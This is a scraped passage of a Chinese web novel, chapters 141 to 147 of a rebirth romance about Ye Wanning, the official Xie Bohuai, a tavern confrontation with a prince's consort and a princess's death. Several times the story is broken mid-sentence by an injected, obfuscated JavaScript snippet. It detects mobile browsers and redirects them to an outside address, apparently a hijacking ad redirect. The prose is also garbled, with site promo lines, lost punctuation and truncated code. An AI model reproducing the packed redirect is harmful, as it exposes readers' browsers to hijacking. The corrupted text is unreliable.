她是官宦人家的女儿,就算皇上想赐婚,也会先问问大哥哥他们的口风。 而且以谢泊淮的性格,他应该是不愿意的吧? 叶婉宁想到谢泊淮,心情很是复杂。 连着两日,大家伙都在等谢泊淮作出选择,叶婉宁也让人打听外边的事。 直到她去公主府时,遇到了同样去找隆玉公主的谢泊淮。 两人从长廊的两边走来,面对面碰上,云芝先倒吸一口凉气,心想这也太不凑巧了。 喜欢重生才知,我是权臣的白月光请大家收藏:()重生才知,我是权臣的白月光更新速度全网最快。 第141章 谢泊淮,“我在乎你。” 隆玉公主那,江嬷嬷哎呦了一声,“今儿真是不凑巧,怕是他们会碰上,不如老奴跑一趟,把人分开?” “不用那么麻烦,迟早会遇到,倒不如这会儿碰个面。有什么话,在本宫的地盘说清楚也好。”隆玉公主淡定得很,“不说个明白,揣着糊涂过日子,不是长久之计。” “也是。”江嬷嬷叹气道,“谢大人这人,哎,做事要是有些轻重就好了。” 弄成现在这个样子,实在是太尴尬了。 贵妾的事,隆玉公主和江嬷嬷都听说了,她们没想到,皇上会那么看重谢泊淮。 说到这个,隆玉公主就觉得叶婉宁不喜欢谢泊淮是有道理的,犹犹豫豫,一点也不够洒脱。 都到了这个时候,就算有所顾忌,那逍遥一天是一天,又不是所有人都要长命百岁。 “谢泊淮这厮,就是太过聪慧了,才会想那么多。”隆玉公主摆摆手,“不必管他们,谢泊淮不会拿婉宁如何的。” “这确实。”江嬷嬷却还是不放心,让小丫鬟去看看,把四周的人都给驱散了,免得被人听了去。 而此时的谢泊淮,看着叶婉宁有一会儿,却没说话。 叶婉宁问过好之后,迟疑着要不要问出口,可谢泊淮都没说一个字,她贸然开口,显得她对他有心一样。 正当叶婉宁准备离开时,谢泊淮突然开了口,“叶大姑娘,你……” 叶婉宁抬头看去,谢泊淮又突然顿住,他的眼睛黑而亮,让人不敢多看。 他总是喊她叶大姑娘,他想知道叶婉宁清不清楚他去叶家祖坟的事。 而叶婉宁也想问谢泊淮,到底是什么想法,为何要去叶家挖坟? 四周静了下来,绕是青山这个笨脑袋,这会也不敢出声。尽管心里非常多问题,他也记得司砚的交代,实在憋不住,回府里说一说,外边就不要问。 “谢大人,您有什么要说的吗?”叶婉宁抬眸看去。 谢泊淮回头看了一眼,青山还没反应过来主子的意思,还是叶婉宁让云芝带青山去吃点茶果,才把青山给带走了。 这下四周没有其他人,叶婉宁再去看谢泊淮,“谢大人,你为什么要去挖我棺椁?” 她很想知道,既然谢泊淮不说,那她壮着胆子问一下。 其实她觉得自己应该怕谢泊淮,也确实看到谢泊淮会害怕,但是她做的一些事,又好像能和谢泊淮说上两句。 “因为……”谢泊淮没想到叶婉宁会问得那么直接,“因为我不相信你死了。叶婉宁,我在乎你。” 一句在乎,叶婉宁心跳飞快。 砰砰砰。 越来越快。 之前是所有人都在说,但是叶婉宁并不觉得,或许是另有原因呢? 现在听到谢泊淮说在乎,叶婉宁下意识地后悔问了,可是问都问了,那只能硬着头皮继续,“可是你与我,并不算熟悉,为何呢?” 她不敢去看谢泊淮,知道自己这会的脸一定很红。若不是多活了一辈子,她都不敢这样和谢泊淮说话。 不过问都问了,也就不多想了。 她没听到谢泊淮的回答,便抬头去看。 头一回,她看到谢泊淮红了脸。 “谢大人,你……” “你不记得,也就不用计较了。”谢泊淮撇开头,“是我给你和叶家带来不便,如果你有什么需要,可以和我说。” “我没什么需要。”叶婉宁有一点比较好奇,“听闻皇上给你选择,谢大人,你会成婚吗?” 如果谢泊淮成婚了,叶婉宁就可以松一口气。 亲耳听谢泊淮说在乎,叶婉宁其实不懂该高兴,还是不高兴。她对谢泊淮,并没有明确的好感,只是觉得这个人,并不像传言的可怕,也不是个大坏人。 旁人说起谢泊淮,都非常惧怕,但叶婉宁一直觉得,谢泊淮不是个会强人所难的人。在她眼里,谢泊淮甚至可以说是个好人。 而谢泊淮被叶婉宁这么一问,本来就不太能说话,这会更说不出来。 成婚? 他摇头,“没人能逼我做不愿意的事。挖你棺椁,是我不对,你要是恨我怨我,都可以。我会配合给个说法,让世人觉得你我之间有着深仇大恨。” 说完,谢泊淮就走了,不给叶婉宁再说话的机会,只是让叶婉宁考虑考虑。 等青山吃得饱饱地回来,得知主子先走了,哼了哼,“又不等我!” 走之前,青山不忘从云芝手里接过食盒,再去追人。 “姑娘,这个青山可真是头脑简单。给他拿了吃的,便一个劲地吃,也不担心他家主子。”云芝看着青山的背影摇摇头,“我看啊,肯定是谢大人多长了脑子,把青山的也给抢过去了。” 叶婉宁还在想谢泊淮说的话,便没听到云芝说什么,直到云芝问他们聊了什么,叶婉宁又想到那句“在乎”。 “云芝,他说他在乎我。”叶婉宁脑子懵懵的,等到了义母那时,她还是愣愣的。 隆玉公主听了叶婉宁的转述,笑了起来,“你真对他,没有任何想法?” 这章没有结束,请点击下一页继续阅读!叶婉宁说没有。 “你讨厌他?还是怕他?”隆玉公主又问。 叶婉宁都说没有,“我只是……我也说不太清,但我可以很明确,我对谢泊淮并没有情情爱爱的想法。听他说在乎我时,我只想知道为什么。义母,您说怎么办啊?” “你在怕什么?”隆玉公主问,“婉宁,谢泊淮对你有心思,他也不会强迫你。至于你,没什么好顾虑的,就当多个钦慕你的人,咱们可以虚荣一点,这不是坏处。那些喜欢你的男人,都可以成为你的工具。你不用非得挑一个和他过一辈子。人啊,就短短几十年,就算身后被人唾骂,但那又如何?现在快乐就好了。” 隆玉公主活了大半辈子,前半生一直活在封建礼教的镣铐下,经历过那么多后,她看得很开。有喜欢的年轻男人就玩一玩,旁人的话都是放屁,自己快活最重要。 叶婉宁听得一愣一愣的,“义母,我还做不到。” “没关系,一步步来,你都是经历过生死的人了,没什么好怕的。至于贵妾的事,你不用放在心上,父皇不会真的让你给谢泊淮当贵妾的。马上春围要开始了,那么多的青年才俊汇聚京城,到时候随便你来挑。至于谢泊淮的喜欢,你就当他是个裙下臣。”隆玉公主说的都是离经叛道的话,叶婉宁听着却是很有道理。 从公主府离开时,叶婉宁心里想的都是隆玉公主的话,直到外边传来争吵声,云芝往外看了眼,瞧见云芝白了脸,她才问怎么了。 “姑……姑娘,是……是赵川。”云芝道。 喜欢重生才知,我是权臣的白月光请大家收藏:()重生才知,我是权臣的白月光更新速度全网最快。 第142章 元宵 听到赵川这个名字叶婉宁瞬间皱了眉她都忘了赵川要来京城科举。 云芝紧张地看着主子“好像是赵川和人争论学问上的事姑娘要是赵川高中了怎么办?” 京城说大不大如果再遇到被认出来那就不好办了。 叶婉宁并不敢保证赵川能帮她保守秘密不说出他们之前认识的事。 “你别慌我们和赵川认识时我就是寡妇现在也能圆得过去。就是赵川这个人麻烦他太执拗。”叶婉宁也往窗外看了眼赵川还在和人吵。 这里是京城皇亲贵胄聚集的地方赵川这种性格很容易得罪人。 事实上也确实如此赵川刚到京城就因为客栈的事和人争论现在又为了学问的事与人争吵。 吵了一会儿对方不愿意被人看笑话先走了。 “哼还是我有道理吧!”赵川看着远去的人准备回客栈时正巧旁边人议论叶家马车经过不由看了过去。 “不知道马车里坐的谁叶家大姑娘真是好命竟然能死里逃生回来。就是可惜了已经成了寡妇。” “是啊太可惜了如果她没嫁人现在一定能嫁给谢指挥使吧?” “我觉得可以毕竟谢指挥使对她那么上心。你看她都回来那么久了也不见谢指挥使去提亲。” “这是肯定的谢指挥使多厉害的一个人不可能娶一个寡妇。” …… 听边上人的讨论赵川觉得耳熟 而此时的叶婉宁只想着以后别遇见赵川就算赵川入朝为官她交代家里不与赵川来往也是见不到的毕竟她现在是寡妇不适合常出门赴宴。 说到这个近来送到叶家的帖子多了好些不过叶婉宁都推了。她只等着元宵过后跟义母一块儿去别苑。 这个事她也和家里人说过。她能平安回来家人已经很满意对于这个事都没意见。 回到叶家叶婉宁亲自去见了大哥哥和二哥哥说了赵川的事让他们别搭理赵川。 叶明德道“昨儿我还听说了这个赵川学文颇好很可能中一甲进士。没想到他和妹妹还有这样的缘分。” “婉宁不喜欢那就是孽缘。”叶明岳道“婉宁你放心我肯定离他远远的。” “我只想低调过日并不想招惹是非。”叶婉宁心累道。 日子就这么过到元宵赵川很快在京城有了 名声,甚至有人想和他先结亲,但都被赵川给拒绝了,便因此多了个狂妄的名声。 这些话,全都传到了叶婉宁这里。不过叶婉宁只是让人注意着,没有插手管赵川的事。 元宵这日,金自观和叶明岳在樊楼定了沿河的雅间,叶家人和金家人隔壁雅间玩。 乐哥儿看上了金家六哥儿的兔子灯,非要春喜带着他去买,春喜只好来求见主子。 叶婉宁让徐达去跑腿,“你别出去,让小厮出去买就行,看好了乐哥儿,今儿外边多人得很,不许他出樊楼。” 春喜也是这样想的,哄着乐哥儿道,“徐达会去买兔子灯,你与我在这里看花灯,怎么样?” 听到有人去买兔子灯,乐哥儿勉强同意了,他拉着春喜跑到窗边,看着船上的花灯,眼睛都挪不开。 今儿的樊楼非常热闹,成王也带着裴侧妃出来,瞧见了叶家的人,裴侧妃眼里闪过一抹恨意。 趁着成王与好友喝酒的功夫,裴侧妃找到了看花灯的乐哥儿和春喜,故意撞了过去,“你这小孩没长眼是吗?” 裴侧妃踉跄一下,她边上的玉英立马推了乐哥儿,还甩了一耳光过去。 乐哥儿皮肤嫩,脸颊上瞬间一个巴掌印,他被吓到了,“哇哇”大哭起来。 春喜听人喊“裴侧妃”三个字,想去找叶家人。却被玉英几个带人围住。 “没教养的东西,你知不 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这下所有人都看到裴侧妃裙摆被撕毁的样子,而叶婉宁听到儿子被打,拉住裴侧妃的手,不许她离开。 “侧妃娘娘,您是尊贵。但再尊贵的人,却让丫鬟动手打一个小孩子,还骂我们是贱民。您如此看不上我们这些人,是不是百姓的死活在您和成王殿下的眼中,都是无所谓的事?”叶婉宁拽着裴侧妃的手,就是不让她走。 裴侧妃裙摆被撕,丢人丢到家了,里边穿的亵裤都被人看到了,“你快放开我,听到没有?” “今日你不给个说法,我们就到衙门去。虽然您是侧妃,但也不能平白无故欺负人。”叶婉宁咽不下这口气,太欺负人了。乐哥儿脸都肿起来了,一抽一抽地搂着她的腿,可怜得很。 第143章 打回去 “大胆!你知道我是谁,还在这里拉扯,你有没有把皇家的颜面放在眼里?裴侧妃就想出个气,她觉得自己是成王侧妃,一般人都不敢惹她。就算是叶婉宁也没用,一个公主的义女,又不是亲生女儿。 现在被叶婉宁当众拉着出丑,裴侧妃只想快点离开。 “是谁不顾皇家颜面?侧妃娘娘作为成王府的人,不是应该更以身作则,怜爱百姓吗?您当众撞人,还和一个三岁小孩计较,我倒要看看,到底是谁的错?叶婉宁越说越凶,就算是成王夫妇来了,她也不松手。 “王爷,救救妾身。看到成王,裴侧妃立马委屈起来,“这个叶婉宁不讲道理,她太过分了! 听到这话,乐哥儿不乐意了,他人小,就蹦跶着道,“你恶人先告状,你是坏人! 小孩儿一开口,说了别人不好说的话。 成王脸色黑沉,他是要干大事的人,名声是最重要的。平日里他是宠爱裴侧妃,但闺房里的那点小脾气是情趣,放到外边来,就是蠢了。 谢令娴看了眼成王的脸色,小声询问怎么回事,再过来道,“叶妹妹,裴侧妃是娇气了点,但绝对没有你说的那些意思。我给你赔礼了,这个事就到此为止吧,那么多人看着呢,你也不想把事情闹大吧? “王妃娘娘,我不用您的赔礼,您看看我儿子的脸,已经肿成这样了。若是您的孩子被人打成这样,您能咽下这口气?叶婉宁知道自己和成王府不对付,已然是仇家,更不愿意去和解了,“我义母最疼乐哥儿,若是她看到乐哥儿的脸肿成这样,你觉得她会就此罢休吗? “那你要如何?谢令娴没想到叶婉宁那么难缠,明明之前是个大家闺秀,现在却在这里当众争吵,想来过去三年,叶婉宁过得很不好,一点都没大家风范的样子。 叶婉宁去看裴侧妃,“自然是打回去。 一听这话,裴侧妃不乐意了,她可是侧妃,比不上王妃,那也是很尊贵的人,“叶婉宁,你有没有把成王府放在眼里? “那您有没有把隆玉公主和天下百姓放在眼里?叶婉宁寸步不让,成王又怎么样? 伤她不行,打她儿子更不可以! 她没提叶家,只说公主府,就是不想把叶家牵扯进来。 这时叶明岳主动开口,“成王殿下,那么多人看着,一个三岁小孩,却被打成这样。如果您不给个交代,我们叶家一定要去参一本,我记得裴侧妃的哥哥对外说是您的大舅子。我还不知道,什么时候侧妃的娘家成了正经亲戚,这是把谢 家放在哪个位置? 叶明岳做了几年的生意,嘴皮子越发利索。 而裴侧妃听到叶明岳提到死去的哥哥,眼眶瞬间红了,“你们还好意思提我兄长,都是因为叶婉宁这个狐狸精,他才…… “啪! 非常清脆的一声,成王打了裴侧妃一耳光,围观的人都吓到了,“混账玩意,你真要把成王府的脸都丢光了吗? “妾……裴侧妃被打愣住,成王对她宠爱有加,今日出门除了谢令娴,就只带了她一个侧妃。可是现在,成王当众打了她,这让她以后怎么活。 这时谢令娴附耳过去,压着嗓子道,“不要再闹了,你如果把王爷的脸都丢光了,你知道会有什么下场。 男人的宠爱都是虚的,谢令娴一开始很看重这份宠爱,但是日积月累,知道这份宠爱不会停留在任何一个人身上太久。 今日裴侧妃已经够丢人了,谢令娴必须出面了,不然再闹腾下去,连带着拖累成王府就不好了。 谢令娴按着裴侧妃的腰,让她给叶家道歉,“叶大姑娘,你想怎么办,那就怎么办吧。 叶婉宁二话不说,甩了一耳光过去,随后抱着乐哥儿走了。 说实话,这一耳光打得,她心怦怦跳。 不过忍下这口气,成王府只会觉得她好欺负,并不会因此收敛。反而事情闹大了,裴侧妃会被成王讨厌,还能替乐哥儿出口气。 乐哥儿脸颊疼得厉害,他要回家,叶婉宁便抱着乐哥儿回去。 出樊楼时,正巧碰到了带着镇府司巡逻的谢泊淮,谢泊淮的目光落在乐哥儿的脸上,他还没问怎么了,青山先问,“这是谁下的狠手? 叶婉宁回头看了眼,和谢泊淮行了个礼,匆匆离开。 等谢泊淮进了樊楼,才知道刚才的事,带着青山进了成王的雅间。 侍卫伸手去拦,却被谢泊淮一脚踹开。 等谢泊淮进雅间,里边的裴侧妃正跪在成王的脚边,哭得梨花带雨。 所有人错愕地看向谢泊淮,成王更是皱紧眉头,“谢泊淮,你干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170492|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “银库里有一件贪腐案,需要成王殿下配合走一趟。谢泊淮声音冷冷。 “什么贪腐案,我怎么没听说?成王是有野心,但还不至于那么大胆,动银库里的钱,等于死路一条。 “之前没听说,现在听说了就行。请吧,您不走,那就是镇府司的人来请了。谢泊淮的语气不容拒绝。 成王恶狠狠地瞪着谢泊淮,却知道谢泊淮 说得出,就做得到,“你能不能等过一会儿,我自己去镇府司。” “不行。” “谢泊淮,你只是个臣子,我可是王爷!” “那又如何?您敢不去吗?”谢泊淮一如既往地嚣张,眉眼里尽是挑衅。 成王还真不敢,想想敬王的结局,他真不是谢泊淮的对手。 对着谢泊淮,成王敢怒不敢言,他思来想去,最近并没有针对谢泊淮,难不成是因为刚刚的事? 果然奸夫淫妇,他的侧妃才动了叶婉宁的儿子,谢泊淮就气冲冲地跑来。 成王咬着牙跟谢泊淮出去,临走前,特意看了眼跪在地上的裴侧妃。 等谢泊淮一行人走了,裴侧妃两腿无力,不顾形象地坐在了地上,“娘娘,王爷他……他不会怎么样吧?”方才的谢泊淮好可怕,她觉得谢泊淮和传言的一样,像是会吃人。 “你还好意思问,如果不是你去找麻烦,王爷也不会被谢泊淮刁难。裴侧妃啊裴侧妃,你光长了容貌,却不长一点脑子。你想谁不好过,怎么能自己动手?真是蠢得没边!”谢令娴深吸一口气,“把她带回去,关在院子里等王爷回来发落,至于玉英,打二十板子,送到军营去,能不能活下来就看她自己的命了。” 一听到要送去军营,玉英吓傻了眼,跪着哭求,“侧妃娘娘,您救救奴婢,奴婢都是听您的话办事。奴婢不能去军营啊!”当军妓,她宁愿去死。 但是现在,裴侧妃自身难保,只能看着玉英被拖走。 这次成王府出行,是让人看尽了笑话,自然也有人高兴,次日就有人弹劾成王。 尽管成王被放出镇府司,但被审问一晚上,人都没了精气神。 叶婉宁听说成王被审,只是愣了一下,看下熟睡中的乐哥儿,她叫来云芝,“你去公主府一趟,就说我想早点去别苑。” 第144章 安稳的想法 京城现在的情况太乱了,叶婉宁觉得再待下去,并不是好事。 春喜守在边上,“夫人,京城一点儿也不好。” 还没到京城前,春喜还好奇京城到底是什么样。大家都说京城繁华,有着许多她没见过的东西和人。 确实,京城很繁华。 可是这份繁华里,有着太多的限制,还要畏惧许多事。 春喜还是喜欢以前住的小城,宅院很小,小到在厨房就能听到前院乐哥儿的欢声笑语。但是那会儿很温馨,只需要过好自己的日子,除了一些讨厌的邻居,却也是能解决的。 现在的那些达官贵人,春喜一个个都记不住名字,光是想到就害怕。 “可是这京城,是好些人都想来的地方。”叶婉宁道。 “以前我也想来,但是真来了,我就想走了。咱们还是找一处小别苑,种种菜,过自己的小日子。”春喜道。 叶婉宁“嗯”了一声,“等云芝去公主府说完,义母应该会定下出城的日子。” 对于京城,叶婉宁确实没那么多留恋的东西。 睡梦中的乐哥儿又哭了,小孩儿梦魇住,又在喊疼。 叶婉宁轻轻拍着乐哥儿,“乐哥儿别怕,母亲在呢。” 一声又一声地轻哄下,乐哥儿才慢慢睡着。 云芝去了公主府,隆玉公主听说叶婉宁的想法后,决定道,“既然婉宁想走,那就后天,明儿个本宫进宫一趟。” 既然来了京城,不管能不能见到父皇,隆玉公主还是得走一趟。 云芝带了消息回叶家,叶婉宁便差人去告知两位嫂嫂,还有祖母。 叶家人听说叶婉宁这就要走,林氏和姜姒立马找了过来。 林氏舍不得道,“你才在家中住没多久,何必去管旁人说什么,咱们自个儿过自己的日子。” 姜姒懂叶婉宁的难处,“其实你跟公主走也好,但是要那么着急吗?不能在家多住一些时间?” 叶婉宁摇了摇头,“京城里是什么情况,两位嫂嫂也清楚,我也想在家中多住一段时间,但真不能够。我与谢泊淮的事算不上什么,奈何谢泊淮是全京城最受瞩目的人。如果我一直在京城里,怕是会一直起风波。” 林氏张口欲言,最后又咽了下去,因为事实确实如此。 三个人坐在一块儿叹气,过了会,姜姒哼了哼,“要是你哥哥们厉害点就好了,那咱们谁也不用怕。” 林氏说是,可她夫君已经非常努力,还不到三十的年纪,就有了一些白发。 叶家没人提携,只能一步步来。 “哥哥们都很好了,嫂嫂们不用为我担心。义母对我很好,跟着义母去别苑,我会比在京城逍遥许多。往后咱们还是可以时常见面,你们来寻我,或者我回来探望都可以。知道彼此的消息,总是比以前要好的。”叶婉宁拉住两位嫂嫂的手。 三个人说了一会儿话,叶婉宁又去和祖母道别。 叶老夫人看得开,并没有太伤感,叮嘱叶婉宁要照顾好自己,就让人去给叶婉宁收拾行囊。 这三年,叶家不再缺钱,府内的吃穿用度不至于奢靡,却也是京城里比较好的。 叶老夫人让人给叶婉宁准备的东西,都是府里最好的,她特意把叶婉宁叫到跟前叮嘱,“乐哥儿已经三岁了,可以开始启蒙了。我靠他性格活泼,需要压压他的性子,不然以后静不下心。他就是你以后的指望,得他有出息了,你的日子才能继续安稳。祖母知道,你不用多大的富贵。可世道如此,只要你太弱,就会被欺负,并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她刚到的时候,看到谢泊淮站在门口,胳膊包扎了起来,也受了伤。两人目光对上,叶婉宁匆匆进了大殿。 江嬷嬷眼睛已经红了,“姑娘待会别哭,殿下有话要和你说。 “义母很严重吗?进宫的路上,马车怎么会被撞了? 江嬷嬷说是马车前面突然出现乞儿,才突然停下,以至于另一个路口的马车撞了过来。 叶婉宁进了内殿,看着面色苍白的隆玉公主,眼泪不受控制地落下,她跪坐在床沿,还没张口,隆玉公主就让她不要哭。 “生老病死是再寻常不过的事,本宫这辈子是活够了,你不用为本宫难过。隆玉公主被砸断了肋骨,太医说无力回天,她知道自己时日无多了,“就是可惜,本宫还没……咳咳……还没替你们母子安排好后路。这往后的路,不能再替你们遮风挡雨了。 “不会的义母,您是公主,太医们肯定会尽心尽力救治您。叶婉宁不能接受那么突然的结果。 隆玉公主却道,“其实这几年,我早就油尽灯枯,没有这次的意外,也活不了多久。婉宁,你听本宫说。以你和叶家现在的情况,必须要有一个靠山的,你别怪本宫多嘴,这次没经过你同意,但本宫实在没有时间了。 她遗憾地看着叶婉宁,得知叶婉宁回来了,隆玉公主想着一定要竭尽全力帮叶婉宁母子。可是她到底是老了,没有算计过其他人。 没有隆玉公主在,叶家就没有保护,加上谢泊淮的关系,京城那些人都会暗暗下手。 隆玉公主很清楚朝堂的风向随时会变,既然叶家的困局是谢泊淮引起的,就让谢泊淮来承担。 所以谢泊淮出手杀了受到惊吓的马,她醒来就把谢泊淮叫到了内殿,只留下谢泊淮一个人。 “婉宁,本宫没有其他能帮你了。公主府必然会被收回,那座别苑就送你了。很多事,不是你想躲,就能清静安稳的。既然本宫不能多陪你一程,就推你一把,乐哥儿的事,本宫已经告知谢泊淮。他已经知道乐哥儿的身世,不管你们会不会成亲,有了这一层关系,他就会护着叶家和你。隆玉公主说对不住了,“本来还想让你们自己发展,没想到出了这种意外。婉宁,你不用替本宫守孝,也不用难过。你帮本宫送一封信到乌苏,便是全了我们的母女缘分。 说到最后,隆玉公主更没了力气,一 旁的江嬷嬷看得痛心。 看着隆玉公主颤巍巍拿出来的信,叶婉宁伸手接住,“您放心,我一定把信送到乌苏。” “好,我相信你。”隆玉公主的薄唇扯出一抹无奈的笑,“别哭了,既然躲不过,就拼杀出一条血路来,本宫相信你可以的。” 殿内的隆玉公主在和叶婉宁交代后事,殿外的谢泊淮站在长廊下。 院子里的雪已经融化,但这会下 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这时殿内传来哭嚎声,谢泊淮知道隆玉公主逝世了。 就连谢泊淮,此时心头都为之一震。 他往殿内迈出脚,犹豫片刻后,推门进去。 他这一生,唯独在感情上多犹豫,可是到了这会儿,他不能再隐忍了。 第146章 红梅 殿内一片哀恸谢泊淮准备步入内殿时被江嬷嬷拦了下来“今儿还是要谢谢大人不过殿下最后还是要体面的您有什么事都待会再说吧。” 江嬷嬷眼眶泛红谁也没想到会出这种意外只是这几年隆玉公主常和江嬷嬷说身后事她对于这个现实没那么崩溃一些。 隆玉公主逝世需要告知宫里她的后事也会有内务府的人来承办。 叶婉宁作为隆玉公主的义女自然成了公主府的主事人。乌苏王远在乌苏不可能来叶婉宁命人把信送出京城带着江嬷嬷操持起隆玉公主的葬礼。 到下葬那日众亲王都来祭奠羲和郡主到叶婉宁边上“你别太难过姑母的死是意外咱们还得好好活着。” “我知道的。”叶婉宁记着义母的话她要好好活着一定会活得很好。 羲和郡主拍拍叶婉宁的背看到其他人来了主动帮忙招呼“你休息一会儿吧待会还有得忙呢。” 撑了两天两夜叶婉宁都没合眼这会儿却不敢松懈一直到看着棺椁下葬她才攥紧拳头上马车。 旁人见她这样都能理解只有成王一直看着叶婉宁的马车。 谢令娴注意到成王的目光小声道“皇姐死得突然听说为了这个事皇上的身子更不好了。” “哼这是她叶婉宁的报应以后没了皇姐的撑腰谁能护得住她?”成王说完让谢令娴自己回去他则是起码先进城。 马车里的叶婉宁靠在云芝的肩头上她连说话的力气都没有。 “姑娘您睡一会儿吧。”云芝道“您已经三天没休息了再这样撑着身体会熬不住的。” 叶婉宁确实累了她搂着云芝渐渐有了睡意。 只是马车上睡不安稳她一会儿梦见围场被追杀又梦到隆玉公主临死前拉着她的手喃喃地说着她听不到的话。 “义母!” 叶婉宁被惊醒。 马车还在动云芝说进城了问是去公主府还是去叶家。 叶婉宁头很疼想了想“去公主府吧我得把江嬷嬷他们的去处给安排好。” 到了公主府叶婉宁把江嬷嬷他们喊来其他人都好安排一部分归家 “不了老奴年纪大了也活够了想去给殿下守墓。”江嬷嬷道“活了大半辈子什么都见识过还想最后和姑娘说几句。 老奴知道您是个聪明的,也有自个儿的想法,但有时候被牵绊太多,总是难舒坦。人就一辈子,多为自己想想,不管是男人,还是孩子,都是次要的。不必把为母则刚那些话放在心上,您该多学学殿下。至于谢大人,他对您会心软,您可以利用这份心软,来为自己和叶家周全。” 等江嬷嬷去守墓,以后就真不问外事了,这会儿便多话一点。 叶婉宁点点头,“我知道的,义母也是这样与我说。”说着,她眼睛又湿了。 “您要把这话放在心里,本来我们做女人就不容易,您现在又带了个孩子,不洒脱一点,终究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170495|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被世俗的流言蜚语给拖累,过得压抑痛苦。”江嬷嬷说完想说的,最后深吸一口气,“您往后一定要照顾好自己,老奴会为您和殿下祈福的。” 叶婉宁不舍地抱住江嬷嬷,送江嬷嬷走后,叶婉宁没忍住掉了眼泪。 她哭得一抽一抽的,往日热闹的公主府,如今空了下来,让人心里很不是滋味。 在叶婉宁准备离开时,司砚来了,说谢泊淮有话和叶婉宁说,让她跟着走一趟。 “姑娘,我家大人对您有心,必定不会伤害您。您也知道,有些话说开了才好。”司砚不是青山那个笨嘴巴,知道怎么说,才能把人带走。而且他故意说主子对叶大姑娘有意,为的就是替主子铺垫一下。他家主子太苦了,他希望后半辈子,能有个人给主子一些些的温暖。 叶婉宁听完司砚说的,只能跟着司砚走。 马车摇摇晃晃,等再停下的时候,停在了叶婉宁卖给谢泊淮的那处宅院外。 司砚主动介绍,“从大人和谢家决裂后,一直住在这里。当年您要卖宅子,也是我家大人悄悄买来,就怕被人知道,给您带去麻烦。” 叶婉宁看着眼前的宅院,不由想到许竹苓和周钰,她已经许久没想到这两个人。 进入宅院后,看到院内并没有其他人,只有一个谢泊淮,站在院子里的红梅下。 春雪消融,红梅绽放,谢泊淮的容色丝毫不逊于红梅,只是眼底泛青,看着也是没休息好。 第147章 你要不要嫁给我? 司砚给云芝使了个眼色,云芝没动,还是叶婉宁让她跟司砚去,云芝才迟疑地往后院去。 到了后院,云芝抓着司砚问,“你家大人神神秘秘,到底要说什么? “男大当婚,女大当嫁,自然是说婚姻的事。这会主子不在,司砚有心套话,“若不是隆玉公主告知,你家主子是不是一辈子都不打算说乐哥儿的事? “说了有什么意义吗?云芝斜了司砚一眼,她陪主子吃了那么多苦,好几次都差点死了,“谁知道你家大人心悦我们姑娘?在不知道的前提下,全京城的人都说谢大人冷面冷心,是个最可怕的人。你觉得我们姑娘会说吗? 看司砚顿住,云芝继续道,“事关一个姑娘的名节,不仅仅是我们姑娘一个人的事,还会影响整个叶家。要你,你敢说? 司砚小声道,“后来你们被人追杀,若是找到镇府司的人,有这个孩子在,我们大人肯定会帮忙的。就算外边人说得难听,但你们应该知道啊,我们大人不是那种坏人。 司砚很为自己大人抱不平,那都是外边人说的话,大人才不是那样的人。 “你说不是,别人说是,我们是很深的交情吗?云芝的角度和司砚不一样,她看到的是主子的不容易,“并没有多好的交情,无非是你家谢大人心中有意,自个儿暗暗在喜欢而已。司砚,不怪我家姑娘,也不怪你大人,是命运弄人。 说到最后,云芝叹了口气。 若不是命运弄人,不会有乐哥儿,公主也不会死……姑娘的心愿就是平平淡淡地活着,不需要荣华富贵,更不用位高权重。 偏偏谢大人是一人之下的权臣,还有着不太好听的名声,得罪的人可以从北城门排到南城门。 司砚也叹气,确实没什么好争论的,“你说,你家姑娘,会答应嫁给我们大人吗? 云芝摇头,“一开始,我觉得一定不会,但是后来,我不知道了。不管嫁不嫁,你家大人也得护着我们,为了乐哥儿,谢大人我不能做没良心的事。 “那肯定会的。 两人说了那么多,这会儿的谢泊淮与叶婉宁却无言许久。 直到谢泊淮缓缓开口,“我知你心中没有我,但我谢泊淮活着一日,就会给你们母子一份安稳的日子。你也知道眼下的局势,天下随时可能四分五裂,把你安置到任何地方都不安全。叶……叶大姑娘,你要不要嫁给我? 叶婉宁看着谢泊淮,听到这句嫁给他,她问,“可是谢大人,您身边也是危机四伏,难 道嫁给你,就能安全吗?” “确实不一定,但不嫁给我,你与叶家的处境会更艰难。你很聪明,可以看清楚的,没了隆玉公主这个靠山,大家伙看我没去叶家提亲,慢慢的肯定会迁怒叶家。”谢泊淮深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 